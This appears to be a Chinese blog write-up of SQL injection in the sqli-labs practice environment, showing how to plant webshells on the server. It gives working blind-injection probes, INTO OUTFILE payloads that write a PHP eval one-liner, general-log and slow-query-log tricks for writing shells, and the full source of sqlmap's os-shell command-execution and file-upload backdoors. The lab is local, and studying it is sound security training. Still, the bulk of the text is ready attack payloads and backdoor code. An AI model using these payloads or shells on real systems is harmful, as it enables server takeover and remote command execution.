一、注入条件

二、注入相关函数和语句

三、联合写入

四、分隔符写入

五、日志写入

六、堆叠写入

七、--os-shell


判断注入类型

发现只有在错误的时候才有进行提示不过没有提示哪里出错了,成功是正常显示

典型的盲注,那么先使用构造基本的poc进行测试

1'and sleep(5)--+           #未成功延时
1''and sleep(5)--+          #未成功延时
1')and sleep(5)--+          #未成功延时
1")and sleep(5)--+          #未成功延时
1'))and sleep(5)--+         #成功延时,证明此处闭合为(('$id'))

判断列数

1')) order by 3 --+			#使用3正常,4提示错误

 

构造上传语句

-1')) union select 1,"<?php eval($_REQUEST[1]);?>",3 into outfile 'C:\\phpStudy\\WWW\\sqli-labs-master\\Less-7\\outfile.php' --+

可以看到已经生成成功了

fields terminated by

用于指定在输出文件中分隔字段的字符。
每个字段的位置添加木马1')) LIMIT 0,1 INTO OUTFILE 'C:\\phpStudy\\WWW\\sqli-labs-master\\Less-7\\2.php' fields terminated by "<?php eval($_REQUEST[1]);?>"  --+

columns terminated by

用于指定输出到文件中的列之间的分隔符
每个列位置之间添加木马1')) LIMIT 0,1 INTO OUTFILE 'C:\\phpStudy\\WWW\\sqli-labs-master\\Less-7\\3.php' columns terminated by "<?php eval($_REQUEST[1]);?>" --+

 

lines starting by

每一行的起始位置
每一行的起始位置
1')) LIMIT 0,1 INTO OUTFILE 'C:\\phpStudy\\WWW\\sqli-labs-master\\Less-7\\4.php' lines starting by "<?php eval($_REQUEST[1]);?>" --+

 

SET SESSION general_log = 1;
SET SESSION log_output = 'file';
SET SESSION general_log_file = 'C:\phpStudy\WWW\sqli-labs-master\mysql.log';开启日志,以日志以文件的形式写入到mysql.log中

 

SET GLOBAL general_log = 1;
SET GLOBAL log_output = 'file';
SET GLOBAL general_log_file = 'C:\phpStudy\WWW\sqli-labs-master\mysql.log';改是改过来了又有发现一个问题,我直接从windows上复制下来的目录"\",在mysql中被转义了。。。 尴尬

SET GLOBAL general_log_file = 'C:/phpStudy/WWW/sqli-labs-master/mysql.log';

 

随便在一个地方输入1 select '<?php eval($_REQUEST[1]);?>' --+
被记录到日志文件里面了

 

不过还是连接不上,想起了当时学文件包含的时候jpg这种图片不能解析php代码,所以我就在想是不是log后缀也不能解析php代码,尝试了很多次果然还是解析不了的,那么就将log的后缀改为php在试试

随便进入一个sql注入靶场,1 select '<?php eval($_REQUEST[1]);?>' --+ 就算闭合错误也没有关系,general_log这个文件也会记录错误的信息,只要一句话木马没错就好

那么这个日志写入就是这么一回事了,要注意的是开启日志功能,有写入修改权限,修改日志文件为php格式要能被解析,可能大家会说触发条件太苛刻了,那不知道你们有没有想过使用堆叠注入一把梭哈呢???

 

 

慢查询日志写入:
';set global slow_query_log=1;set global slow_query_log_file="C:\\phpStudy\\WWW\\sqli-labs-master\\Less-38\\querylog.php";select if(sleep(11),"<?php eval($_REQUEST[1]);?>","<?php eval($_REQUEST[1]);?>") --+

效果出来就ok了,我在phpmyadmin里面就可能直接执行所有的语句到了第38关好像就不行了

 

1、系统自带路径
2、自定义路径
3、目录字典
4、爆破

tmpbqghp.php 			#命令执行文件<?php 
$c = $_REQUEST["cmd"];	   #通过$_request["cmd"]获取http请求中的"cmd"参数,将其存放到变量"$C"中
@set_time_limit(0);					#不限制脚本执行时间
@ignore_user_abort(1);				#用户关闭连接后,脚本仍然继续执行
@ini_set("max_execution_time",0);		#脚本最大执行时间,0为不限制
$z = @ini_get("disable_functions");
if (!empty($z)) {
    $z = preg_replace("/[, ]+/", ',', $z);
    $z = explode(',', $z);
    $z = array_map("trim", $z);	
} else {
    $z = array();
}									#通过 @ini_get 函数获取 PHP 中被禁用的函数列表,将其存储到变量 $z 中,并将其转换为数组格式。如果没有被禁用的函数,则将其设置为空数组。
$c = $c . " 2>&1\n";					#将错误输出重定向到标准输出中function f($n) {
    global $z;
    return is_callable($n) and !in_array($n, $z);
}if (f("system")) {
    ob_start();
    system($c);
    $w = ob_get_clean();
} elseif (f("proc_open")) {
    $y = proc_open($c, array(array(pipe, r), array(pipe, w), array(pipe, w)), $t);
    $w = NULL;
    while (!feof($t[1])) {
        $w .= fread($t[1], 512);
    }
    @proc_close($y);
} elseif (f("shell_exec")) {
    $w = shell_exec($c);
} elseif (f("passthru")) {
    ob_start();
    passthru($c);
    $w = ob_get_clean();
} elseif (f("popen")) {
    $x = popen($c, r);
    $w = NULL;
    if (is_resource($x)) {
        while (!feof($x)) {
            $w .= fread($x, 512);
        }
    }
    @pclose($x);
} elseif (f("exec")) {
    $w = array();
    exec($c, $w);
    $w = join(chr(10), $w) . chr(10);
} else {
    $w = 0;
}
			#定义了一个函数 f,用于检查指定的函数是否可用,如果不存在任何一个可以执行系统命令的函数,则将 $w 设置为 0
echo "<pre>$w</pre>";
?>				#将结果以 HTML 格式输出到浏览器上
tmpuppph.php    	#上传文件<?php
if (isset($_REQUEST["upload"])) {
    $dir = $_REQUEST["uploadDir"];
    if (phpversion() < '4.1.0') {
        $file = $HTTP_POST_FILES["file"]["name"];
        @move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"], $dir."/".$file) or die();
    } else {
        $file = $_FILES["file"]["name"];
        @move_uploaded_file($_FILES["file"]["tmp_name"], $dir."/".$file) or die();
    }
    @chmod($dir."/".$file, 0755);
    echo "File uploaded";
} else {
    echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=C:\\phpStudy\\WWW\\sqli-labs-master\\Less-1\\> <input type=submit name=upload value=upload></form>";
}
?>   
    #检查是否收到了名为 "upload" 的请求参数,如果有,它会获取名为 "uploadDir" 的参数,然后根据 PHP 版本不同,使用不同的方法来上传文件。然后它会将文件的权限设置为 0755,并返回一个 "File uploaded" 的字符串。如果没有收到 "upload" 参数,它会输出一个 HTML 表单,允许用户上传文件,并指定上传到的目录

访问http://127.0.0.1/sqli-labs-master/Less-1/tmpuppph.php上传一个木马文件上去

总结:--os-shell就上往服务器上写入两个木马文件,一个是文件上传使用,一个是通过url进行传参利用命令执行

点赞(4) 打赏

评论列表 共有 0 条评论

暂无评论

微信小程序

微信扫一扫体验

立即
投稿

微信公众账号

微信扫一扫加关注

发表
评论
返回
顶部